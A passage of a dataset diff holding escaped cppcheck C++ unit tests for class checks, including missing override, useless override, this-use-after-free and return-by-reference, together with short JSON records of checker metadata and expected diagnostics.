\"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:8:10]: (style) The function 'foo' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"namespace Test {\\n\"\n \" class C {\\n\"\n \" public:\\n\"\n \" virtual ~C();\\n\"\n \" };\\n\"\n \"}\\n\"\n \"class C : Test::C {\\n\"\n \"public:\\n\"\n \" ~C();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18] -> [test.cpp:9:6]: (style) The destructor '~C' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct Base {\\n\"\n \" virtual void foo();\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct Derived: public Base {\\n\"\n \" void foo() override;\\n\"\n \" void foo(int);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct B {\\n\" // #9092\n \" virtual int f(int i) const = 0;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" struct D : B {\\n\"\n \" virtual int f(int i) const;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:6:21]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::set);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector v);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector w = {});\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", \"\", errout_str());\n\n checkOverride(\"struct T {};\\n\" // #10920\n \"struct B {\\n\"\n \" virtual T f() = 0;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" friend T f();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:8:8]: (style) The function 'operator->' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n\n checkOverride(\"class Base {\\n\" // #12131\n \" virtual int Calculate(int arg) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \" int Calculate(int arg = 0) {\\n\"\n \" return arg * 2;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:5:9]: (style) The function 'Calculate' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct S {\\n\" // #12439\n \" virtual ~S() = default;\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \" ~D() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:5:6]: (style) The destructor '~D' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n }\n\n void overrideCVRefQualifiers() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() const; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() volatile; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &&; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n #define checkUselessOverride(...) checkUselessOverride_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUselessOverride_(const char* file, int line, const char code[]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUselessOverride)();\n }\n\n void uselessOverride() {\n checkUselessOverride(\"struct B { virtual int f() { return 5; } };\\n\" // #11757\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:3:10]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f() = 0; };\\n\"\n \"int B::f() { return 5; }\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i + 1); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i, int j); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i, int j) override { return B::f(j, i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(); };\\n\"\n \"struct I { virtual int f() = 0; };\\n\"\n \"struct D : B, I {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S { virtual void f(); };\\n\"\n \"struct D : S {\\n\"\n \" void f() final { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S {\\n\"\n \"protected:\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \"public:\\n\"\n \" void f() override { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(int, int, int) const; };\\n\" // #11799\n \"struct D : B {\\n\"\n \" int m = 42;\\n\"\n \" void f(int a, int b, int c) const override;\\n\"\n \"};\\n\"\n \"void D::f(int a, int b, int c) const {\\n\"\n \" B::f(a, b, m);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #11803\n \" virtual void f();\\n\"\n \" virtual void f(int i);\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \" void f(int i) override;\\n\"\n \" void g() { f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\" // #11808\n \"struct D : B { void f() override {} };\\n\"\n \"struct D2 : D {\\n\"\n \" void f() override {\\n\"\n \" B::f();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" virtual int g() { return 7; }\\n\"\n \" virtual int h(int i, int j) { return i + j; }\\n\"\n \" virtual int j(int i, int j) { return i + j; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return 2; }\\n\"\n \" int g() override { return 7; }\\n\"\n \" int h(int j, int i) override { return i + j; }\\n\"\n \" int j(int i, int j) override { return i + j; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:9:9]: (style) The function 'g' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\"\n \"[test.cpp:5:17] -> [test.cpp:11:9]: (style) The function 'j' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\",\n errout_str());\n\n checkUselessOverride(\"struct B : std::exception {\\n\"\n \" virtual void f() { throw *this; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { throw *this; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO virtual void f() {}\\n\"\n \"struct B {\\n\"\n \" MACRO\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" MACRO\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" B() = default;\\n\"\n \" explicit B(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" virtual int f() const { return m; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" explicit D(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" int f() const override { return m; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO 1\\n\"\n \"struct B { virtual int f() { return 1; } };\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return MACRO; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12706\n \" virtual void f() { g(); }\\n\"\n \" void g() { std::cout << \\\"Base\\\\n\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { g(); }\\n\"\n \" virtual void g() { std::cout << \\\"Derived\\\\n\\\"; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12946\n \" virtual int f() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return b.f(); }\\n\"\n \" B b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkUnsafeClassRefMember(...) checkUnsafeClassRefMember_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkUnsafeClassRefMember_(const char* file, int line, const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).build();\n settings.safeChecks.classes = true;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUnsafeClassRefMember)();\n }\n\n void unsafeClassRefMember() {\n checkUnsafeClassRefMember(\"class C { C(const std::string &s) : s(s) {} const std::string &s; };\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Unsafe class: The const reference member 'C::s' is initialized by a const reference constructor argument. You need to be careful about lifetime issues. [unsafeClassRefMember]\\n\", errout_str());\n }\n\n\n#define checkThisUseAfterFree(...) checkThisUseAfterFree_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisUseAfterFree_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkThisUseAfterFree)();\n }\n\n void thisUseAfterFree() {\n setMultiline();\n\n // Calling method..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete mInstance; hello(); }\\n\"\n \"private:\\n\"\n \" static C *mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:38]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:38]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello();\\n\"\n \" void reset() { mInstance.reset(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:7:18]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:29]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Use member..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x[1] = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" std::map x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Assign 'shared_from_this()' to non-static smart pointer\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:6:22]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:4:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:4:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Avoid FP..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { if (x) { mInstance.reset(); return; } hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const QString& path) : mPath( path ) {}\\n\"\n \"\\n\"\n \" static void initialize(const QString& path) {\\n\" // <- avoid fp in static method\n \" if (instanceSingleton)\\n\"\n \" delete instanceSingleton;\\n\"\n \" instanceSingleton = new C(path);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" static C* instanceSingleton;\\n\"\n \"};\\n\"\n \"\\n\"\n \"C* C::instanceSingleton;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid false positive when pointer is deleted in lambda\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void foo();\\n\"\n \" void set() { p = this; }\\n\"\n \" void dostuff() {}\\n\"\n \" C* p;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::foo() {\\n\"\n \" auto done = [this] () { delete p; };\\n\"\n \" dostuff();\\n\"\n \" done();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\" // #13311\n \"public:\\n\"\n \" static void init();\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" static C* self;\\n\"\n \" bool use;\\n\"\n \"};\\n\"\n \"C::C() { use = true; }\\n\"\n \"void C::init() {\\n\"\n \" if (self)\\n\"\n \" delete self;\\n\"\n \" self = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void ctu(const std::vector &code) {\n Check &check = getCheck();\n\n // getFileInfo\n std::list fileInfo;\n for (const std::string& c: code) {\n const std::string filename = std::to_string(fileInfo.size()) + \".cpp\";\n SimpleTokenizer tokenizer{settingsDefault, *this, filename};\n ASSERT(tokenizer.tokenize(c));\n fileInfo.push_back(check.getFileInfo(tokenizer, settingsDefault, \"\"));\n }\n\n // Check code..\n const CTU::FileInfo ctu;\n check.analyseWholeProgram(ctu, fileInfo, settingsDefault, *this); // TODO: check result\n\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n }\n\n void ctuOneDefinitionRule() {\n ctu({\"class C { C() { std::cout << 0; } };\", \"class C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C(); }; C::C() { std::cout << 0; }\", \"class C { C(); }; C::C() { std::cout << 1; }\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C() {} };\\n\", \"class C { C() {} };\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class C { C(); }; C::C(){}\", \"class C { C(); }; C::C(){}\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class A::C { C() { std::cout << 0; } };\", \"class B::C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n // 11435 - template specialisations\n const std::string header = \"template struct Test {};\\n\";\n ctu({header + \"template struct Test {};\\n\",\n header + \"template struct Test {};\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define getFileInfo(...) getFileInfo_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void getFileInfo_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n const Check& c = getCheck();\n Check::FileInfo * fileInfo = (c.getFileInfo)(tokenizer, settings1, \"\");\n\n delete fileInfo;\n }\n\n void testGetFileInfo() {\n getFileInfo(\"void foo() { union { struct { }; }; }\"); // don't crash\n getFileInfo(\"struct sometype { sometype(); }; sometype::sometype() = delete;\"); // don't crash\n }\n\n#define checkReturnByReference(...) checkReturnByReference_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkReturnByReference_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::performance).library(\"std.cfg\").build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkReturnByReference)();\n }\n\n void returnByReference() {\n checkReturnByReference(\"struct T { int a[10]; };\\n\" // #12546\n \"struct S {\\n\"\n \" T t;\\n\"\n \" int i;\\n\"\n \" std::string s;\\n\"\n \" T getT() const { return t; }\\n\"\n \" int getI() const { return i; }\\n\"\n \" std::string getS() const { return s; }\\n\"\n \" unknown_t f() { return; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (performance) Function 'getT()' should return member 't' by const reference. [returnByReference]\\n\"\n \"[test.cpp:8:17]: (performance) Function 'getS()' should return member 's' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct B {\\n\" // #12608\n \" virtual std::string f() { return \\\"abc\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" std::string f() override { return s; }\\n\"\n \" std::string s;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\"\n \" std::string f(std::string s) { return s; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S { S(); };\\n\" // #12620\n \"S::S() = delete;\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n checkReturnByReference(\"struct S {\\n\" // #12626\n \" std::string s;\\n\"\n \" operator std::string_view() const { return s; }\\n\"\n \" std::string_view get() const { return s; }\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct U {\\n\"\n \" T t;\\n\"\n \" operator const T& () const { return t; }\\n\"\n \"};\\n\"\n \"U u;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13011\n \" std::string s;\\n\"\n \" const std::string& foo() const & { return s; }\\n\"\n \" std::string foo() && { return s; }\\n\" // <- used for temporary objects\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S1 {\\n\" // #13056\n \" std::string str;\\n\"\n \" struct T { std::string strT; } mT;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" std::string get1() const {\\n\"\n \" return mS1->str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return mS1->mT.strT;\\n\"\n \" }\\n\"\n \" S1* mS1;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (performance) Function 'get1()' should return member 'str' by const reference. [returnByReference]\\n\"\n \"[test.cpp:9:17]: (performance) Function 'get2()' should return member 'strT' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S { std::string str; };\\n\" // #13059\n \"struct T {\\n\"\n \" S temp() const;\\n\"\n \" S s[1];\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" std::string get1() const {\\n\"\n \" return t.temp().str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return t.s[0].str;\\n\"\n \" }\\n\"\n \" T t;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:17]: (performance) Function 'get2()' should return member 'str' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13845\n \" std::string m;\\n\"\n \" std::string get() { return m; }\\n\"\n \"};\\n\"\n \"std::string f(std::optional o) {\\n\"\n \" return o.transform(&S::get).value_or(\\\"\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestClass)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkConstructors.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkConstructors.json new file mode 100644 index 0000000..cc195aa --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkConstructors.json @@ -0,0 +1,13 @@ +{ + "name": "checkConstructors", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 178, + "branches": 69, + "apis": 162, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkCopyConstructors.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkCopyConstructors.json new file mode 100644 index 0000000..592d0f5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkCopyConstructors.json @@ -0,0 +1,13 @@ +{ + "name": "checkCopyConstructors", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 139, + "branches": 53, + "apis": 148, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkDuplInheritedMembers.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkDuplInheritedMembers.json new file mode 100644 index 0000000..718066b --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkDuplInheritedMembers.json @@ -0,0 +1,22 @@ +{ + "name": "checkDuplInheritedMembers", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 10, + "branches": 2, + "apis": 6, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 531 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkclass.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n#include \n\nclass TestClass : public TestFixture {\npublic:\n TestClass() : TestFixture(\"TestClass\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").build();\n const Settings settings1 = settingsBuilder().severity(Severity::warning).library(\"std.cfg\").build();\n const Settings settings2 = 